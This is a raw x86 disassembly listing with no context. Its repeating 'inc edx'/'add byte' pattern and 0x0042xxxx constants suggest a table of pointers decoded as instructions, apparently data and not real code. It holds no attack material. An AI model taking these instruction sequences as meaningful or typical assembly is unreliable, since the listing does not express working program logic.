inc edx
add byte [esi], al
test al, 0x42
add byte [eax - 0x5a], ah
inc edx
add byte [eax - 0x58], dh
inc edx
add al, al
test al, 0x42
add byte [eax - 0x58], dh
inc edx
add byte [eax - 0x58], dh
inc edx
add byte [eax - 0x58], dh
inc edx
add byte [esi - 0x58], dh
inc edx
add byte [eax + ebp*4 + 0x42], bh
add byte [edi + 0x370042a8], al
stosb byte es:[edi], al
inc edx
add byte [eax - 0x56], ah
inc edx
add byte [edi], bl
stosd dword es:[edi], eax
inc edx
add byte [eax + 0x80042aa], al
stosd dword es:[edi], eax
inc edx
add byte [esi - 0x3dffbd56], dh
stosb byte es:[edi], al
inc edx
add al, ah
stosb byte es:[edi], al
inc edx
add al, ah
stosb byte es:[edi], al
inc edx
add ch, dh
stosb byte es:[edi], al
inc edx
add byte [eax], cl
stosd dword es:[edi], eax
inc edx
add ch, bh
scasb al, byte es:[edi]
inc edx
add byte [ecx + 0x60042b1], ah
scasd eax, dword es:[edi]
inc edx
add byte [ebx - 0x5effbd4d], bl
mov cl, 0x42
add byte [ecx - 0x43ffbd4d], ch
mov bl, 0x42
add byte [eax - 0x56ffbd4c], ah
mov ah, 0x42
add dl, cl
mov ah, 0x42
add ch, dl
mov ah, 0x42
add byte [ecx], dl
stosd dword es:[edi], eax
inc edx
add byte [edi], bl
stosd dword es:[edi], eax
inc edx
add byte [edx - 0x56], al
inc edx
add byte [ebx + ebp*4 - 0x575fffbe], ch
inc edx
add byte [esi - 0x65ffbd55], dh
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x46ffbd52], dh
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x40ffbd58], ah
scasb al, byte es:[edi]
inc edx
add al, dl
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x2fffbd58], ah
scasb al, byte es:[edi]
inc edx
add cl, ah
mov esi, 0xbdbe0042
inc edx
add byte [esi - 0xffbd43], bh
mov ah, 0x42
add byte [edi], cl
mov ch, 0x42
add byte [ebp + edi*4 - 0x4ae7ffbe], dh
inc edx
add byte [esi - 0x4b], dh
inc edx
add byte [ecx + 0x760042b5], al
mov ch, 0x42
add byte [eax - 0x3effbd4b], dl
mov ch, 0x42
add byte [eax - 0x6fffbd4b], dl
mov ch, 0x42
add byte [eax - 0x69ffbd4b], dl
mov ch, 0x42
add byte [esi - 0x4bffbd4b], bl
mov ebp, 0xb5b00042
inc edx
add byte [ebp + esi*4 - 0x4a4fffbe], ah
inc edx
add byte [ebp + edi*4 - 0x4a1cffbe], dh
inc edx
add bh, ch
mov ch, 0x42
add byte [edx + 0x140042b6], ah
mov dh, 0x42
add byte [eax - 0x4a], al
inc edx
add byte [edx], bl
mov dh, 0x42
add byte [eax - 0x4a], al
inc edx
add byte [edi - 0x4a], ah
inc edx
add byte [ebx + 0x4e0042b6], al
mov bh, 0x42
add byte [eax - 0x48], bl
inc edx
add byte [ebx - 0x6affbd4a], al
mov eax, 0xb9400042
inc edx
add byte [ebp + 0x400042b8], ah
mov ecx, 0xb8b50042
inc edx
add byte [eax - 0x47], al
inc edx
add ch, al
mov eax, 0xb9400042
inc edx
add ch, dl
mov eax, 0xb9400042
inc edx
add byte [eax - 0x47], dl
inc edx
add byte [eax - 0x47], dl
inc edx
add byte [eax - 0x49], dh
inc edx
add byte [eax - 0x47], dl
inc edx
add byte [eax], dh
mov ecx, 0xb9540042
inc edx
add byte [edi], dl
mov edx, 0xb9820042
inc edx
add byte [edx], dl
mov ebx, 0xb9ab0042
inc edx
add cl, bl
mov ecx, 0xb9ed0042
inc edx
add byte [ecx], ch
mov ebx, 0xbc5c0042
inc edx
add byte [ecx], ch
mov ebx, 0xbb180042
inc edx
add dl, ch
mov edx, 0xbb120042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], dl
mov ebx, 0x10042
add byte [eax], al
sti
mov edx, 0xbb060042
inc edx
add byte [eax], dl
mov ebx, 0xbb100042
inc edx
add byte [edi], dl
mov edx, 0xbb100042
inc edx
add byte [eax - 0x5fffbd46], ah
mov edx, 0xbaa20042
inc edx
add byte [eax - 0x54ffbd46], ah
mov edx, 0xb7700042
inc edx
add byte [ecx - 0x3fffbd46], dh
mov edx, 0xbac00042
inc edx
add byte [eax - 0x49], dh
inc edx
add byte [esi - 0x5dffbd4a], cl
mov dh, 0x42
add byte [eax - 0x5fffbd4a], ah
mov dh, 0x42
add byte [eax - 0x5dffbd4a], ah
mov dh, 0x42
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [edx - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], cl
inc edx
add byte [ebp + edi*4 - 0x4263ffbe], dh
inc edx
add byte [ebp - 0x63ffbd43], ah
mov ebp, 0xbdb40042
inc edx
add byte [ebx - 0x42], bl
mov esi, 0xbebe5600
add al, al
sar byte [esi - 0x413da300], 0
and ebx, eax
mov esi, 0xbec28000
add al, dl
ret 0xbe